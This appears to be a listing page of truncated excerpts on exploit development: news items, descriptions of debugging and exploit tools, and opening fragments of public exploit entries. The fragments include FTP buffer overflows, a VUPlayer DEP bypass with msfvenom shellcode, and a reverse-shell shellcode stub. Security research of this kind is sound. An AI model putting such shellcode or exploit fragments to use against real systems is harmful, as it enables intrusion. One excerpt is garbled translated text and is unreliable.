Memory Corruption Mitigations Driving Up Exploit Development Costs

SINT MAARTEN—Memory corruption mitigations that have been integrated into major desktop and mobile operating systems are driving up the cost of client-side exploit development and making viable vulnerabilities scarcer than they were a decade ago. Mark Dowd, whose career has been intimately linked...

CTF Framework and Exploit Development Library: pwntools

pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible. Whether you’re using it to write exploits, or as part of another software project will dictate how you...

Cody Pierce on the Future of Exploit Development

Mike Mimoso talks to Cody Pierce, director of vulnerability research and prevention with Endgame, at RSA Conference 2017 about how attackers are changing their techniques in the face of mitigations and continuing to base exploits around legitimate APIs and functions to thwart detection. Download:...

Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers: GEF

Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers GEF is a kick-ass set of commands for X86, ARM, MIPS, PowerPC and SPARC to make GDB cool again for exploit dev. It is aimed to be used mostly by exploiters and reverse-engineers, to provides additional features to GDB usi...

From MS16-098 see a Windows 8.1 kernel exploit-vulnerability warning-the black bar safety net

When I first started contact core vulnerability when I don't have any about the kernel of the experience, not to mention to take advantage of a kernel vulnerability, but I'm always for reverse engineering and exploit techniques are very interested. Initially, my idea was simple: find one not...

Microsoft Edge - 'CText­Extractor::Get­Block­Text' Out-of-Bounds Read (MS16-104)

::first-letter border: 0; white-space: pre-line; Aalert;&x­D;&x­D;B Description Though I did not investigate thoroughly, I did find out the following: The root cause appears to be an integer underflow in a 32-bit variable used in CText­Extractor..Get­Block­Text as an index to read a WCHAR in a...

PCMan FTP Server 2.0.7 - 'PORT' Remote Buffer Overflow

!/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0 PORT Command BoF Exploit Author: Pablo González Date: 4/11/2016 Software: PCMan 2.0 Tested on: Windows XP Profesional SP3 Spanish x86 import socket print "Creating malicious input!" junk = '\x41'2007 ret="\xf7\x56\x3c\x7...

KarjaSoft Sami FTP Server 2.0.2 - USER/PASS Remote Buffer Overflow (SEH) Exploit

Exploit for windows platform in category remote exploits /usr/bin/python -- Coding: utf-8 -- Sami FTP Server 2.0.2- SEH Overwrite, Buffer Overflow by n30m1nd Date: 2016-01-11 Exploit Author: n30m1nd Vendor Homepage: http://www.karjasoft.com/ Software Link:...

KarjaSoft Sami FTP Server 2.0.2 - USERPASS Remote Buffer Overflow (SEH)

KarjaSoft Sami FTP Server 2.0.2 - USERPASS Remote Buffer Overflow SEH /usr/bin/python -- Coding: utf-8 -- Sami FTP Server 2.0.2- SEH Overwrite, Buffer Overflow by n30m1nd Date: 2016-01-11 Exploit Author: n30m1nd Vendor Homepage: http://www.karjasoft.com/ Software Link:...

Micro Focus Rumba 9.4 - Local Denial of Service Exploit

Exploit for windows platform in category dos / poc Exploit Title: Micro Focus Rumba 9.4 Multiple Local Stack-overflow Date: 29-10-2016 Exploit Author: Umit Aksu Vendor Homepage: http://www.microfocus.com/ Software Link:...

Micro Focus Rumba 9.4 - Local Denial of Service

Micro Focus Rumba 9.4 - Local Denial of Service Exploit Title: Micro Focus Rumba 9.4 Multiple Local Stack-overflow Date: 29-10-2016 Exploit Author: Umit Aksu Vendor Homepage: http://www.microfocus.com/ Software Link:...

Micro Focus Rumba 9.4 - Local Denial of Service

Exploit Title: Micro Focus Rumba 9.4 Multiple Local Stack-overflow Date: 29-10-2016 Exploit Author: Umit Aksu Vendor Homepage: http://www.microfocus.com/ Software Link: http://nadownloads.microfocus.com/epd/productdownloadrequest.aspx?type=eval&transid=2179441&last4=2179441&code=40231 Version: 9....

One Click Symbolic Execution: Ponce

Ponce pronounced ‘poN θe pon-they is an IDA Pro plugin that provides users the ability to perform taint analysis and symbolic execution over binaries in an easy and intuitive fashion. With Ponce you are one click away from getting all the power from cutting edge symbolic execution. Entirely writt...

l0l - The Exploit Development Kit

l0l a exploit development kit. with C++ language scripting. Yet, are being developed. Then the beta version will be published. Status Shellcodes : 5 Injectors : 0 Encoders : 0 Backdoors : 6 Install - Requirements : g++ and Python. $ make or, l0l.cpp compile the file.. Exp: $ g++ -o l0l l0l.cpp Ru...

VUPlayer 2.49 - '.pls' Stack Buffer Overflow (DEP Bypass)

Exploit for windows platform in category local exploits !/usr/bin/python import os,sys Tested Windows 7 Home x86 & Windows 10 Home x86x64 badchars \x00\x0a\x1a\x20\x40 msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b "\x00\x0a\x1a\x20\x40" -f python buf = "" buf +=...

VUPlayer 2.49 - '.pls' File Stack Buffer Overflow (DEP Bypass)

!/usr/bin/python import os,sys Tested Windows 7 Home x86 & Windows 10 Home x86x64 badchars \x00\x0a\x1a\x20\x40 msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b "\x00\x0a\x1a\x20\x40" -f python buf = "" buf += "\xbf\x3b\x99\xdd\xa3\xdb\xc4\xd9\x74\x24\xf4\x58\x29" buf +=...

Python Exploit Development GDB Assistance: Peda

Python Exploit Development GDB Assistance PEDA is a Python GDB script with many handy commands to help speed up exploit development process on Linux/Unix. It is also a framework for writing custom interactive Python GDB commands. PEDA v1.1 Released Requirements PEDA 1.0 is only support Linux GDB...

CJExploiter - Drag and Drop ClickJacking Exploit Development Assistance Tool

CJExploiter is drag and drop ClickJacking exploit development assistance tool. First open the "index.html" with your browser locally and enter target URL and click on "View Site". You can dynamically create your own inputs. Finally by click the "Exploit It" you can see the P0C. Summery...

NRSS Reader 0.3.9 - Local Stack Overflow

NRSS Reader 0.3.9 - Local Stack Overflow Exploit developed using Exploit Pack v5.4 Exploit Author: Juan Sacco - http://www.exploitpack.com - [email protected] Program affected: NRSS RSS Reader Version: 0.3.9-1 Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org Program...

Linux/x86-64 - Reverse Shell Shellcode

/ Exploit Title: Shellcode Linux x8664 Reverse Shell Date: 19/03/2016 Shellcode Author: Sudhanshu Chauhan LinkedIn: https://in.linkedin.com/in/sudhanshuchauhan Tested on: Ubuntu 14.04.1 x8664 global start start: ;Socket xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx add rax, 41 add rdi, 2 ad...